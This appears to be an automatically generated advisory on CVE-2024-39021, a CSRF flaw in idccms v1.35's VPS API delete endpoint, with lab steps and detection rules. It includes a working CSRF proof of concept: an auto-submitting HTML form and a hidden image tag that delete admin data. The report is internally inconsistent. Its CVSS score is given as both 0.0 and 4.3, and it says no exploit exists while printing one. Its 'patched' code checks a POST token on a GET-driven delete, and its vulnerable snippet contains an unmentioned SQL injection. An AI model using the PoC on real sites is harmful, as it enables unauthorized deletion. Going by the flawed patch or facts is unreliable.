CVE-2024-39021

Executive Summary

CVE-2024-39021 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/vpsApiData_deal.php?mudi=del endpoint, allowing an attacker to forge requests that delete VPS API data on behalf of an authenticated administrator. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the potential for data loss and administrative account compromise. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized deletion of VPS API data)
• Availability Impact: None
• Threat Level: Medium – Exploitation requires social engineering but can lead to data loss and administrative disruption.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the idccms administrative panel. The endpoint /admin/vpsApiData_deal.php?mudi=del performs a delete operation on VPS API data without validating the origin of the request. The application does not implement anti-CSRF tokens, SameSite cookies, or origin/referer header checks. An attacker can craft a malicious HTML page or an image tag that triggers a GET or POST request to this endpoint. When an authenticated admin visits the attacker-controlled page, the browser automatically sends the session cookie, and the server processes the delete request as legitimate.

The attack flow:

1. Attacker identifies a target idccms instance with an active admin session.
2. Attacker crafts a simple HTML form or image tag pointing to the vulnerable URL.
3. Attacker lures the admin to visit the malicious page (e.g., via phishing email or forum post).
4. The admin’s browser sends the forged request with the session cookie.
5. The server deletes the specified VPS API data without verifying the request origin.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35): The vulnerable endpoint likely lacks CSRF protection. A simplified representation:

// /admin/vpsApiData_deal.php
if ($_GET['mudi'] == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM vps_api_data WHERE id = $id";
    mysqli_query($conn, $sql);
    // No CSRF token check
}

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

// /admin/vpsApiData_deal.php
session_start();
if ($_GET['mudi'] == 'del') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_GET['id']);
    $stmt = $conn->prepare("DELETE FROM vps_api_data WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team (Attacker)

Proof-of-Concept (PoC) HTML Page: Create a file csrf_exploit.html with the following content:

<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target.com/admin/vpsApiData_deal.php?mudi=del&id=1" method="GET" id="csrf-form">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit the form
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

Alternative: Image Tag Attack (GET-based):

<img src="http://target.com/admin/vpsApiData_deal.php?mudi=del&id=1" width="0" height="0">

Lab Setup:

1. Install idccms v1.35 on a local server (e.g., XAMPP or Docker).
2. Log in as admin and navigate to the VPS API data management page.
3. Host the PoC HTML on a separate domain or local file.
4. While the admin session is active, open the PoC page.
5. Observe that the VPS API data with ID 1 is deleted.

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual GET/POST requests to /admin/vpsApiData_deal.php?mudi=del without a valid Referer header.
2. Check server logs for requests originating from external domains.
3. Implement CSRF tokens immediately (see Remediation).
4. Use web application firewalls (WAF) to block requests to sensitive endpoints without proper origin validation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/vpsApiData_deal.php?mudi=del with suspicious Referer headers (e.g., from unknown domains).
  • Repeated GET requests to the vulnerable endpoint with varying id parameters.
• File IOCs:
  • Presence of unexpected HTML files or image tags in admin browsers (e.g., csrf_exploit.html).
• Log IOCs:
  • Server access logs showing requests to /admin/vpsApiData_deal.php?mudi=del from IP addresses not associated with legitimate admin activity.

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39021"
    strings:
        $s1 = "/admin/vpsApiData_deal.php?mudi=del" ascii wide nocase
        $s2 = "idccms" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: idccms CSRF Exploit Attempt
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects HTTP requests targeting the CSRF-vulnerable endpoint in idccms v1.35
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39021
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/vpsApiData_deal.php?mudi=del'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF protection is absent)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39021 idccms CSRF Exploit"; flow:to_server; content:"/admin/vpsApiData_deal.php"; http_uri; content:"mudi=del"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Tokens: Add a unique, unpredictable token to all state-changing forms and validate it server-side.
2. Use SameSite Cookies: Set the SameSite attribute to Strict or Lax on session cookies.
3. Validate Origin Headers: Check the Origin and Referer headers on sensitive requests.
4. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.

Long-Term Recommendations:

• Conduct a full security audit of idccms for similar CSRF and other vulnerabilities.
• Consider migrating to a supported CMS if the vendor remains unresponsive.
• Deploy a Web Application Firewall (WAF) with rules to block requests to /admin/vpsApiData_deal.php without proper CSRF tokens.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Expert System